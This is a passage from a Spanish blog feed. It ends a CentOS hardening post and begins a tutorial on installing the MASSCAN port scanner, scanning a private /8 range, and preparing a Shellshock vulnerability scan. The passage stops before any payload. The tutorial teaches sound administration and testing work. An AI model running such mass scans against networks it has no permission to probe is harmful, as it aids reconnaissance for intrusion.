La gestión de paquetes se realiza de una manera más detallada, tomando en cuenta algunos conceptos que son considerados como la procedencia del paquete, servidores dedicados de paquetes (repositorios) y dependencias.Para remover los paquetes debemos hacer uso del gestor con que fue instalado si fue por RPM o YUM.&lt;/div&gt;
&lt;div style=&quot;text-align: justify;&quot;&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div style=&quot;text-align: justify;&quot;&gt;
Ejemplo con YUM:&lt;/div&gt;
&lt;div id=&quot;codeSnippetWrapper&quot; style=&quot;background-color: #f4f4f4; border-bottom: silver 1px solid; border-left: silver 1px solid; border-right: silver 1px solid; border-top: silver 1px solid; cursor: text; direction: ltr; font-family: ’courier new’, courier, monospace; font-size: 8pt; line-height: 12pt; margin: 20px 0px 10px; max-height: 200px; overflow: auto; padding-bottom: 4px; padding-left: 4px; padding-right: 4px; padding-top: 4px; text-align: left; width: 97.5%;&quot;&gt;
&lt;div id=&quot;codeSnippet&quot; style=&quot;background-color: #f4f4f4; border-style: none; direction: ltr; font-family: &#39;’courier new’&#39;, courier, monospace; font-size: 8pt; line-height: 12pt; overflow: visible; padding: 0px; text-align: left; width: 100%;&quot;&gt;
&lt;pre style=&quot;background-color: white; border-left-style: none; border-right-style: none; border-top-style: none; direction: ltr; font-family: &#39;’courier new’&#39;, courier, monospace; line-height: 12pt; margin: 0em; overflow: visible; padding: 0px; size: 8pt; text-align: left; width: 100%;&quot;&gt;&lt;span style=&quot;color: black;&quot;&gt;&lt;span id=&quot;lnum1&quot; style=&quot;color: #606060;&quot;&gt;   1:&lt;/span&gt; &lt;/span&gt;&lt;span style=&quot;color: blue;&quot;&gt;yum remove nmap&lt;/span&gt;&lt;/pre&gt;
&lt;div style=&quot;color: black;&quot;&gt;
&lt;!--CRLF--

&gt;&lt;pre style=&quot;BORDER-BOTTOM-STYLE: none; TEXT-ALIGN: left; PADDING-BOTTOM: 0px; 

LINE-HEIGHT: 12pt; BORDER-RIGHT-STYLE: none; BACKGROUND-COLOR: white; MARGIN: 

0em; PADDING-LEFT: 0px; WIDTH: 100%; PADDING-RIGHT: 0px; FONT-FAMILY: 

’courier new’, courier, monospace; DIRECTION: ltr; BORDER-TOP-STYLE: 

none; COLOR: black; FONT-SIZE: 8pt; BORDER-LEFT-STYLE: none; OVERFLOW: visible; 

PADDING-TOP: 0px&quot;&gt;&lt;span style=&quot;COLOR: #606060&quot; id=&quot;lnum3&quot; &gt;   3:&lt;/span&gt; }

&lt;/pre&gt;
&lt;!--CRLF--&gt;&lt;/div&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;div style=&quot;text-align: justify;&quot;&gt;
Ejemplo con RPM:&lt;span class=&quot;Apple-tab-span&quot; style=&quot;white-space: pre;&quot;&gt; &lt;/span&gt;&lt;/div&gt;
&lt;div id=&quot;codeSnippetWrapper&quot; style=&quot;background-color: #f4f4f4; border-bottom: silver 1px solid; border-left: silver 1px solid; border-right: silver 1px solid; border-top: silver 1px solid; cursor: text; direction: ltr; font-family: ’courier new’, courier, monospace; font-size: 8pt; line-height: 12pt; margin: 20px 0px 10px; max-height: 200px; overflow: auto; padding-bottom: 4px; padding-left: 4px; padding-right: 4px; padding-top: 4px; text-align: left; width: 97.5%;&quot;&gt;
&lt;div id=&quot;codeSnippet&quot; style=&quot;background-color: #f4f4f4; border-style: none; direction: ltr; font-family: &#39;’courier new’&#39;, courier, monospace; font-size: 8pt; line-height: 12pt; overflow: visible; padding: 0px; text-align: left; width: 100%;&quot;&gt;
&lt;pre style=&quot;background-color: white; border-left-style: none; border-right-style: none; border-top-style: none; direction: ltr; font-family: &#39;’courier new’&#39;, courier, monospace; line-height: 12pt; margin: 0em; overflow: visible; padding: 0px; size: 8pt; text-align: left; width: 100%;&quot;&gt;&lt;span style=&quot;color: black;&quot;&gt;&lt;span id=&quot;lnum1&quot; style=&quot;color: #606060;&quot;&gt;   1:&lt;/span&gt; &lt;/span&gt;&lt;span style=&quot;color: blue;&quot;&gt;rpm -e ftp-0.17-33.fc6&lt;/span&gt;&lt;/pre&gt;
&lt;div style=&quot;color: black;&quot;&gt;
&lt;!--CRLF--

&gt;&lt;pre style=&quot;BORDER-BOTTOM-STYLE: none; TEXT-ALIGN: left; PADDING-BOTTOM: 0px; 

LINE-HEIGHT: 12pt; BORDER-RIGHT-STYLE: none; BACKGROUND-COLOR: white; MARGIN: 

0em; PADDING-LEFT: 0px; WIDTH: 100%; PADDING-RIGHT: 0px; FONT-FAMILY: 

’courier new’, courier, monospace; DIRECTION: ltr; BORDER-TOP-STYLE: 

none; COLOR: black; FONT-SIZE: 8pt; BORDER-LEFT-STYLE: none; OVERFLOW: visible; 

PADDING-TOP: 0px&quot;&gt;&lt;span style=&quot;COLOR: #606060&quot; id=&quot;lnum3&quot; &gt;   3:&lt;/span&gt; }

&lt;/pre&gt;
&lt;!--CRLF--&gt;&lt;/div&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;div style=&quot;text-align: justify;&quot;&gt;
&lt;b style=&quot;text-align: start;&quot;&gt;4&lt;span style=&quot;color: windowtext; font-family: Calibri, sans-serif; font-size: 11pt;&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;/span&gt;Permisos de archivos del sistema&lt;/b&gt;&lt;br /&gt;
&lt;b style=&quot;text-align: start;&quot;&gt;&lt;br /&gt;&lt;/b&gt;
&lt;span style=&quot;text-align: start;&quot;&gt;En los sistemas operativos basados en UNIX cada elemento del sistema de archivos, como archivos, directorios, enlaces simbólicos, etc., tiene la característica de poseer permisos que lo ubican dentro del mismo. Éstos sirven como uno más de los niveles de seguridad del sistema operativo al impedir que cualquier usuario pueda leer, escribir, ejecutar o acceder a dichos archivos y directorios de manera arbitraria. Estos permisos vistos de manera básica son: &lt;b&gt;lectura (r, read)&lt;/b&gt;, &lt;b&gt;escritura (w, write)&lt;/b&gt; y &lt;b&gt;ejecución (x, execution)&lt;/b&gt; y se agrupan en bloques&lt;b&gt; (rwx)&lt;/b&gt; para 3 diferentes clases (usuario, grupo y otros).&lt;/span&gt;&lt;br /&gt;
&lt;span style=&quot;text-align: start;&quot;&gt;&lt;br /&gt;&lt;/span&gt;
&lt;span style=&quot;text-align: start;&quot;&gt;La asignación de permisos de acceso (de lectura, escritura y ejecución) pueden gestionarse a través de modos, los cuales consisten de combinaciones de números de tres dígitos (usuario, grupo y otros) y los mandatos &lt;b&gt;chmod&lt;/b&gt; y &lt;b&gt;setfacl&lt;/b&gt;.&lt;/span&gt;&lt;br /&gt;
&lt;span style=&quot;text-align: start;&quot;&gt;&lt;br /&gt;&lt;/span&gt;
&lt;span style=&quot;text-align: start;&quot;&gt;Es muy importante dar los permisos adecuados a nuestros archivos y carpetas. No usar &lt;b&gt;chmod 777 &lt;/b&gt;para todos los casos que se requieran permisos.&lt;/span&gt;&lt;br /&gt;
&lt;span style=&quot;text-align: start;&quot;&gt;&lt;br /&gt;&lt;/span&gt;
&lt;br /&gt;
&lt;div style=&quot;text-align: start;&quot;&gt;
No doy una recomendación como tal ya que los permisos difieren de acuerdo a su contenido y propietarios.&lt;/div&gt;
&lt;div style=&quot;text-align: start;&quot;&gt;
&lt;b&gt;&lt;br /&gt;&lt;/b&gt;&lt;/div&gt;
&lt;div style=&quot;text-align: start;&quot;&gt;
&lt;b&gt;5&lt;span style=&quot;color: windowtext; font-family: Calibri, sans-serif; font-size: 11pt;&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;/span&gt;Remoción de usuarios y grupos no necesarios&lt;/b&gt;&lt;/div&gt;
&lt;div style=&quot;text-align: start;&quot;&gt;
&lt;b&gt;&lt;br /&gt;&lt;/b&gt;&lt;/div&gt;
&lt;div style=&quot;text-align: start;&quot;&gt;
La administración de usuarios y grupos solamente puede realizarlas el usuario root utilizando los comandos de gestión de usuarios. Las tareas y los comandos para realizarlas son:&lt;/div&gt;
&lt;div style=&quot;text-align: start;&quot;&gt;
&lt;b&gt;•&lt;span class=&quot;Apple-tab-span&quot; style=&quot;white-space: pre;&quot;&gt; &lt;/span&gt;Creación de usuarios / useradd&lt;/b&gt;&lt;/div&gt;
&lt;div style=&quot;text-align: start;&quot;&gt;
&lt;b&gt;•&lt;span class=&quot;Apple-tab-span&quot; style=&quot;white-space: pre;&quot;&gt; &lt;/span&gt;Modificación de usuarios / usermod&lt;/b&gt;&lt;/div&gt;
&lt;div style=&quot;text-align: start;&quot;&gt;
&lt;b&gt;•&lt;span class=&quot;Apple-tab-span&quot; style=&quot;white-space: pre;&quot;&gt; &lt;/span&gt;Eliminación de usuarios / userdel&lt;/b&gt;&lt;/div&gt;
&lt;div style=&quot;text-align: start;&quot;&gt;
&lt;b&gt;•&lt;span class=&quot;Apple-tab-span&quot; style=&quot;white-space: pre;&quot;&gt; &lt;/span&gt;Creación de grupos / groupadd&lt;/b&gt;&lt;/div&gt;
&lt;div style=&quot;text-align: start;&quot;&gt;
&lt;b&gt;•&lt;span class=&quot;Apple-tab-span&quot; style=&quot;white-space: pre;&quot;&gt; &lt;/span&gt;Modificación de grupos / groupmod&lt;/b&gt;&lt;/div&gt;
&lt;div style=&quot;text-align: start;&quot;&gt;
&lt;b&gt;•&lt;span class=&quot;Apple-tab-span&quot; style=&quot;white-space: pre;&quot;&gt; &lt;/span&gt;Eliminación de grupos / groupdel&lt;/b&gt;&lt;/div&gt;
&lt;div style=&quot;text-align: start;&quot;&gt;
&lt;b&gt;•&lt;span class=&quot;Apple-tab-span&quot; style=&quot;white-space: pre;&quot;&gt; &lt;/span&gt;Añadir usuarios a un grupo / adduser&lt;/b&gt;&lt;/div&gt;
&lt;div style=&quot;text-align: start;&quot;&gt;
&lt;b&gt;•&lt;span class=&quot;Apple-tab-span&quot; style=&quot;white-space: pre;&quot;&gt; &lt;/span&gt;Quitar usuarios de un grupo / deluser&lt;/b&gt;&lt;/div&gt;
&lt;div style=&quot;text-align: start;&quot;&gt;
La idea de esta tarea es depurar los usuarios o grupos no usados o modificar los usuarios que no requieran shell.&amp;nbsp;&lt;/div&gt;
&lt;div style=&quot;text-align: start;&quot;&gt;
&lt;br /&gt;
Continuar leyendo&lt;br /&gt;
&lt;b&gt;&lt;a href=&quot;http://antoniojorz.blogspot.com/2014/10/hardening-sistema-linux-centos-parte2.html&quot; target=&quot;_blank&quot;&gt;#Parte2&lt;/a&gt;&lt;/b&gt;&lt;br /&gt;
&lt;b&gt;&lt;a href=&quot;http://antoniojorz.blogspot.com/2014/10/hardening-sistema-linux-centos-parte3.html&quot; target=&quot;_blank&quot;&gt;#Parte3&lt;/a&gt;&lt;/b&gt;&lt;/div&gt;
&lt;/div&gt;
</content><link rel='replies' type='application/atom+xml' href='http://antoniojorz.blogspot.com/feeds/3868184171508288553/comments/default' title='Enviar comentarios'/><link rel='replies' type='text/html' href='http://antoniojorz.blogspot.com/2014/10/hardening-sistema-linux-centos-parte1.html#comment-form' title='0 comentarios'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/4993754786350617036/posts/default/3868184171508288553'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/4993754786350617036/posts/default/3868184171508288553'/><link rel='alternate' type='text/html' href='http://antoniojorz.blogspot.com/2014/10/hardening-sistema-linux-centos-parte1.html' title='Hardening Sistema Linux (CentOS) #Parte1'/><author><name>Atoio</name><uri>http://www.blogger.com/profile/05839122536208921999</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='https://img1.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-4993754786350617036.post-4293755129367581781</id><published>2014-10-10T12:20:00.001-05:00</published><updated>2014-10-10T12:59:50.787-05:00</updated><category scheme="http://www.blogger.com/atom/ns#" term="analisis"/><category scheme="http://www.blogger.com/atom/ns#" term="linux"/><category scheme="http://www.blogger.com/atom/ns#" term="masscan"/><category scheme="http://www.blogger.com/atom/ns#" term="port scanner"/><category scheme="http://www.blogger.com/atom/ns#" term="scan port"/><category scheme="http://www.blogger.com/atom/ns#" term="scanner"/><category scheme="http://www.blogger.com/atom/ns#" term="shellshock"/><category scheme="http://www.blogger.com/atom/ns#" term="tool"/><title type='text'>Probando el nuevo popular Port Scaner MASSCAN -  ShellShock</title><content type='html'>&lt;div style=&quot;text-align: justify;&quot;&gt;
hace un tiempo me encante por la velocidad de escaneo de esta herramienta hablo de &lt;b&gt;MASSCAN&lt;/b&gt;&amp;nbsp;un TCP Port Scanner, asi que hablaremos de su gran ventaja con las millones de herramientas que existen para este tema.&lt;/div&gt;
&lt;div style=&quot;text-align: justify;&quot;&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div style=&quot;text-align: justify;&quot;&gt;
&lt;b&gt;MASSCAN&lt;/b&gt;&amp;nbsp;hasta el momento es el Port Scanner mas rapido que he utilizado, su velocidad de escaneo y respuesta es muy interesante ademas que no tiene nada que envidiar a &lt;b&gt;Nmap &lt;/b&gt;en nada, los resultados que produce son muy similares a &lt;b&gt;Nmap, &lt;/b&gt;pero internamente trabaja como&amp;nbsp;&lt;b&gt;&lt;a href=&quot;https://zmap.io/&quot; target=&quot;_blank&quot;&gt;ZMap&lt;/a&gt;&amp;nbsp;&lt;/b&gt;utilizando transmisión asíncrona. La principal diferencia es que es más rápido que estos otros escáneres. Además, es más flexible y permite intervalos de direcciones y rangos de puertos arbitrarios.&lt;/div&gt;
&lt;div style=&quot;text-align: justify;&quot;&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div style=&quot;text-align: justify;&quot;&gt;
Según su creador &lt;b&gt;Rober Graham&amp;nbsp;&lt;/b&gt;&lt;a href=&quot;http://twitter.com/erratarob&quot; style=&quot;background-color: white; color: #4d469c; font-family: Arial, Tahoma, Helvetica, FreeSans, sans-serif; font-size: 14px; line-height: 16.7999992370605px; text-decoration: none;&quot;&gt;(@ErrataRob)&lt;/a&gt;&lt;b&gt;&amp;nbsp;MASSCAN&amp;nbsp;&lt;/b&gt;es capaz de escanear todo Internet en tan solo 3 minutos.&lt;/div&gt;
&lt;div style=&quot;text-align: justify;&quot;&gt;
Mediante un PC con un procesador de 4 núcleos y una tarjeta ethernet dual-port de 10gbs teóricamente puede transmitir 25 millones de paquetes por segundo lo que equivale a los 3 minutos.&lt;/div&gt;
&lt;div style=&quot;text-align: justify;&quot;&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div style=&quot;text-align: justify;&quot;&gt;
10gbs de conexión muy difícil de tener en estos tiempos. pero igualmente supera en mucho en cuanto a velocidad sus homogéneos.&lt;/div&gt;
&lt;div style=&quot;text-align: justify;&quot;&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div style=&quot;text-align: justify;&quot;&gt;
&lt;b&gt;Instalación en Maquina CentOS:&lt;/b&gt;&lt;/div&gt;
&lt;div style=&quot;text-align: justify;&quot;&gt;
debemos instalar los requisitos de la herramienta:&lt;/div&gt;
&lt;ol style=&quot;background-color: #f8f8f8; color: #acacac; font-family: Consolas, Menlo, Monaco, &#39;Lucida Console&#39;, &#39;Liberation Mono&#39;, &#39;DejaVu Sans Mono&#39;, &#39;Bitstream Vera Sans Mono&#39;, monospace, serif; font-size: 12px; line-height: 21px; margin: 0px; padding: 0px 0px 0px 48px;&quot;&gt;
&lt;li class=&quot;li1&quot; style=&quot;-webkit-user-select: none;&quot;&gt;&lt;div class=&quot;de1&quot; style=&quot;-webkit-user-select: text; background: rgb(255, 255, 255); border-left-color: rgb(204, 204, 204); border-left-style: solid; border-left-width: 1px; color: black; margin: 0px 0px 0px -7px; padding: 0px 5px; position: relative; vertical-align: top;&quot;&gt;
sudo yum -y install git gcc make libpcap libpcap-devel clang clang-devel&lt;/div&gt;
&lt;/li&gt;
&lt;/ol&gt;
&lt;div style=&quot;text-align: justify;&quot;&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div style=&quot;text-align: justify;&quot;&gt;
Nos descargamos e instalamos la herramienta&lt;/div&gt;
&lt;ol style=&quot;background-color: #f8f8f8; color: #acacac; font-family: Consolas, Menlo, Monaco, &#39;Lucida Console&#39;, &#39;Liberation Mono&#39;, &#39;DejaVu Sans Mono&#39;, &#39;Bitstream Vera Sans Mono&#39;, monospace, serif; font-size: 12px; line-height: 21px; margin: 0px; padding: 0px 0px 0px 48px;&quot;&gt;
&lt;li class=&quot;li2&quot; style=&quot;-webkit-user-select: none;&quot;&gt;&lt;div class=&quot;de2&quot; style=&quot;-webkit-user-select: text; background: rgb(255, 255, 255); border-left-color: rgb(204, 204, 204); border-left-style: solid; border-left-width: 1px; color: black; margin: 0px 0px 0px -7px; padding: 0px 5px; position: relative; vertical-align: top;&quot;&gt;
git clone https://github.com/robertdavidgraham/masscan&lt;/div&gt;
&lt;/li&gt;
&lt;li class=&quot;li2&quot; style=&quot;-webkit-user-select: none;&quot;&gt;&lt;div class=&quot;de2&quot; style=&quot;-webkit-user-select: text; background: rgb(255, 255, 255); border-left-color: rgb(204, 204, 204); border-left-style: solid; border-left-width: 1px; color: black; margin: 0px 0px 0px -7px; padding: 0px 5px; position: relative; vertical-align: top;&quot;&gt;
cd masscan&lt;/div&gt;
&lt;/li&gt;
&lt;li class=&quot;li2&quot; style=&quot;-webkit-user-select: none;&quot;&gt;&lt;div class=&quot;de2&quot; style=&quot;-webkit-user-select: text; background: rgb(255, 255, 255); border-left-color: rgb(204, 204, 204); border-left-style: solid; border-left-width: 1px; color: black; margin: 0px 0px 0px -7px; padding: 0px 5px; position: relative; vertical-align: top;&quot;&gt;
make -j&lt;/div&gt;
&lt;/li&gt;
&lt;li class=&quot;li2&quot; style=&quot;-webkit-user-select: none;&quot;&gt;&lt;div class=&quot;de2&quot; style=&quot;-webkit-user-select: text; background: rgb(255, 255, 255); border-left-color: rgb(204, 204, 204); border-left-style: solid; border-left-width: 1px; color: black; margin: 0px 0px 0px -7px; padding: 0px 5px; position: relative; vertical-align: top;&quot;&gt;
sudo cp bin/masscan /bin/masscan&lt;/div&gt;
&lt;/li&gt;
&lt;li class=&quot;li2&quot; style=&quot;-webkit-user-select: none;&quot;&gt;&lt;div class=&quot;de2&quot; style=&quot;-webkit-user-select: text; background: rgb(255, 255, 255); border-left-color: rgb(204, 204, 204); border-left-style: solid; border-left-width: 1px; color: black; margin: 0px 0px 0px -7px; padding: 0px 5px; position: relative; vertical-align: top;&quot;&gt;
cd ..&lt;/div&gt;
&lt;/li&gt;
&lt;li class=&quot;li2&quot; style=&quot;-webkit-user-select: none;&quot;&gt;&lt;div class=&quot;de2&quot; style=&quot;-webkit-user-select: text; background: rgb(255, 255, 255); border-left-color: rgb(204, 204, 204); border-left-style: solid; border-left-width: 1px; color: black; margin: 0px 0px 0px -7px; padding: 0px 5px; position: relative; vertical-align: top;&quot;&gt;
rm -rf masscan&lt;/div&gt;
&lt;/li&gt;
&lt;/ol&gt;
&lt;div style=&quot;text-align: justify;&quot;&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div style=&quot;text-align: justify;&quot;&gt;
Al ejecutar &lt;b&gt;MASSCAN &lt;/b&gt;nos muestra en pantalla como usarlo&lt;/div&gt;
&lt;div style=&quot;text-align: justify;&quot;&gt;
&lt;img src=&quot;https://imagizer.imageshack.us/v2/594x171q90/674/dUCMQw.png&quot; /&gt;&lt;/div&gt;
&lt;div style=&quot;text-align: justify;&quot;&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div style=&quot;text-align: justify;&quot;&gt;
como vemos en la imagen anterior su uso es similar a &lt;b&gt;NMAP&amp;nbsp;&lt;/b&gt;&lt;/div&gt;
&lt;div style=&quot;text-align: justify;&quot;&gt;
en la cual en el ejmplo se observa el escanear la direccion 10.0.0.0 con mascara 8 y sus 16 millones de direcciones:&lt;/div&gt;
&lt;div style=&quot;text-align: justify;&quot;&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div style=&quot;text-align: justify;&quot;&gt;
&lt;span style=&quot;-webkit-text-stroke-width: 0px; color: black; font-family: &#39;Times New Roman&#39;; font-size: small; font-style: normal; font-variant: normal; font-weight: normal; letter-spacing: normal; line-height: normal; orphans: auto; text-align: start; text-indent: 0px; text-transform: none; white-space: normal; widows: auto; word-spacing: 0px;&quot;&gt;&lt;/span&gt;&lt;/div&gt;
&lt;table border=&quot;0&quot; cellpadding=&quot;0&quot; cellspacing=&quot;0&quot; style=&quot;-webkit-text-stroke-width: 0px; font-family: &#39;Times New Roman&#39;; letter-spacing: normal; orphans: auto; text-indent: 0px; text-transform: none; widows: auto; word-spacing: 0px;&quot;&gt;&lt;tbody&gt;
&lt;tr&gt;&lt;td&gt;&lt;tt&gt;&lt;span style=&quot;color: black; font-size: large;&quot;&gt;Network:&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;/tt&gt;&lt;/td&gt;&lt;td&gt;&lt;tt&gt;&lt;span style=&quot;color: blue; font-size: large;&quot;&gt;10.0.0.0/8&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;/tt&gt;&lt;/td&gt;&lt;td&gt;&lt;tt&gt;&lt;span style=&quot;color: #009900; font-size: large;&quot;&gt;0&lt;span style=&quot;color: #909090;&quot;&gt;0001010&lt;span style=&quot;color: black;&quot;&gt;.&lt;span style=&quot;color: #909090;&quot;&gt;&amp;nbsp;00000000&lt;span style=&quot;color: black;&quot;&gt;.&lt;span style=&quot;color: #909090;&quot;&gt;00000000&lt;span style=&quot;color: black;&quot;&gt;.&lt;span style=&quot;color: #909090;&quot;&gt;00000000&lt;span style=&quot;color: black;&quot;&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/tt&gt;&lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td&gt;&lt;tt&gt;&lt;span style=&quot;color: black; font-size: large;&quot;&gt;HostMin:&lt;/span&gt;&lt;/tt&gt;&lt;/td&gt;&lt;td&gt;&lt;tt&gt;&lt;span style=&quot;color: blue; font-size: large;&quot;&gt;10.0.0.1&lt;/span&gt;&lt;/tt&gt;&lt;/td&gt;&lt;td&gt;&lt;tt&gt;&lt;span style=&quot;color: #909090; font-size: large;&quot;&gt;00001010&lt;span style=&quot;color: black;&quot;&gt;.&lt;span style=&quot;color: #909090;&quot;&gt;&amp;nbsp;00000000&lt;span style=&quot;color: black;&quot;&gt;.&lt;span style=&quot;color: #909090;&quot;&gt;00000000&lt;span style=&quot;color: black;&quot;&gt;.&lt;span style=&quot;color: #909090;&quot;&gt;00000001&lt;span style=&quot;color: black;&quot;&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/tt&gt;&lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td&gt;&lt;tt&gt;&lt;span style=&quot;color: black; font-size: large;&quot;&gt;HostMax:&lt;/span&gt;&lt;/tt&gt;&lt;/td&gt;&lt;td&gt;&lt;tt&gt;&lt;span style=&quot;color: blue; font-size: large;&quot;&gt;10.255.255.254&lt;/span&gt;&lt;/tt&gt;&lt;/td&gt;&lt;td&gt;&lt;tt&gt;&lt;span style=&quot;color: #909090; font-size: large;&quot;&gt;00001010&lt;span style=&quot;color: black;&quot;&gt;.&lt;span style=&quot;color: #909090;&quot;&gt;&amp;nbsp;11111111&lt;span style=&quot;color: black;&quot;&gt;.&lt;span style=&quot;color: #909090;&quot;&gt;11111111&lt;span style=&quot;color: black;&quot;&gt;.&lt;span style=&quot;color: #909090;&quot;&gt;11111110&lt;span style=&quot;color: black;&quot;&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/tt&gt;&lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td&gt;&lt;tt&gt;&lt;span style=&quot;color: black; font-size: large;&quot;&gt;Broadcast:&lt;/span&gt;&lt;/tt&gt;&lt;/td&gt;&lt;td&gt;&lt;tt&gt;&lt;span style=&quot;color: blue; font-size: large;&quot;&gt;10.255.255.255&lt;/span&gt;&lt;/tt&gt;&lt;/td&gt;&lt;td&gt;&lt;tt&gt;&lt;span style=&quot;color: #909090; font-size: large;&quot;&gt;00001010&lt;span style=&quot;color: black;&quot;&gt;.&lt;span style=&quot;color: #909090;&quot;&gt;&amp;nbsp;11111111&lt;span style=&quot;color: black;&quot;&gt;.&lt;span style=&quot;color: #909090;&quot;&gt;11111111&lt;span style=&quot;color: black;&quot;&gt;.&lt;span style=&quot;color: #909090;&quot;&gt;11111111&lt;span style=&quot;color: black;&quot;&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/tt&gt;&lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td valign=&quot;top&quot;&gt;&lt;tt&gt;&lt;span style=&quot;color: black; font-size: large;&quot;&gt;Hosts/Net:&lt;/span&gt;&lt;/tt&gt;&lt;/td&gt;&lt;td valign=&quot;top&quot;&gt;&lt;tt&gt;&lt;span style=&quot;color: blue; font-size: large;&quot;&gt;16777214&lt;/span&gt;&lt;/tt&gt;&lt;/td&gt;&lt;td&gt;&lt;span style=&quot;font-size: large;&quot;&gt;&lt;span style=&quot;color: #009900;&quot;&gt;Class A&lt;/span&gt;,&amp;nbsp;&lt;span style=&quot;color: blue;&quot;&gt;Private Internet&lt;/span&gt;&lt;/span&gt;&lt;/td&gt;&lt;/tr&gt;
&lt;/tbody&gt;&lt;/table&gt;
&lt;div style=&quot;text-align: justify;&quot;&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div style=&quot;text-align: justify;&quot;&gt;
las exploraciones se hará al puerto &lt;b&gt;80 &lt;/b&gt;y el rango &lt;b&gt;8000-8100&lt;/b&gt;&amp;nbsp;&lt;/div&gt;
&lt;div style=&quot;text-align: justify;&quot;&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;img src=&quot;https://imagizer.imageshack.us/v2/621x135q90/631/S9Aga1.png&quot; /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;b&gt;Analizando&amp;nbsp;vulnerabilidad SHELLSHOCK&lt;/b&gt;&lt;br /&gt;
para realizar este análisis hay que descargarse el parche de &lt;b&gt;MASSCAN&amp;nbsp;&lt;/b&gt;de modificar las cabeceras HTTP&lt;br /&gt;
&lt;ol style=&quot;background-color: #f8f8f8; color: #acacac; font-family: Consolas, Menlo, Monaco, &#39;Lucida Console&#39;, &#39;Liberation Mono&#39;, &#39;DejaVu Sans Mono&#39;, &#39;Bitstream Vera Sans Mono&#39;, monospace, serif; font-size: 12px; line-height: 21px; margin: 0px; padding: 0px 0px 0px 48px;&quot;&gt;
&lt;li class=&quot;li2&quot; style=&quot;-webkit-user-select: none;&quot;&gt;&lt;div class=&quot;de2&quot; style=&quot;-webkit-user-select: text; background: rgb(255, 255, 255); border-left-color: rgb(204, 204, 204); border-left-style: solid; border-left-width: 1px; color: black; margin: 0px 0px 0px -7px; padding: 0px 5px; position: relative; vertical-align: top;&quot;&gt;
git clone https://github.com/robertdavidgraham/masscan&lt;/div&gt;
&lt;/li&gt;
&lt;li class=&quot;li2&quot; style=&quot;-webkit-user-select: none;&quot;&gt;&lt;div class=&quot;de2&quot; style=&quot;-webkit-user-select: text; background: rgb(255, 255, 255); border-left-color: rgb(204, 204, 204); border-left-style: solid; border-left-width: 1px; color: black; margin: 0px 0px 0px -7px; padding: 0px 5px; position: relative; vertical-align: top;&quot;&gt;
cd masscan/src/&lt;/div&gt;
&lt;/li&gt;
&lt;li class=&quot;li2&quot; style=&quot;-webkit-user-select: none;&quot;&gt;&lt;div class=&quot;de2&quot; style=&quot;-webkit-user-select: text; background: rgb(255, 255, 255); border-left-color: rgb(204, 204, 204); border-left-style: solid; border-left-width: 1px; color: black; margin: 0px 0px 0px -7px; padding: 0px 5px; position: relative; vertical-align: top;&quot;&gt;
rm proto-http.c&lt;/div&gt;
&lt;/li&gt;
&lt;li class=&quot;li2&quot; style=&quot;-webkit-user-select: none;&quot;&gt;&lt;div class=&quot;de2&quot; style=&quot;-webkit-user-select: text; background: rgb(255, 255, 255); border-left-color: rgb(204, 204, 204); border-left-style: solid; border-left-width: 1px; color: black; margin: 0px 0px 0px -7px; padding: 0px 5px; position: relative; vertical-align: top;&quot;&gt;
wget https://raw.githubusercontent.com/robertdavidgraham/masscan/master/src/proto-http.c&lt;/div&gt;
&lt;/li&gt;
&lt;li class=&quot;li2&quot; style=&quot;-webkit-user-select: none;&quot;&gt;&lt;div class=&quot;de2&quot; style=&quot;-webkit-user-select: text; background: rgb(255, 255, 255); border-left-color: rgb(204, 204, 204); border-left-style: solid; border-left-width: 1px; color: black; margin: 0px 0px 0px -7px; padding: 0px 5px; position: relative; vertical-align: top;&quot;&gt;
cd ..&lt;/div&gt;
&lt;/li&gt;
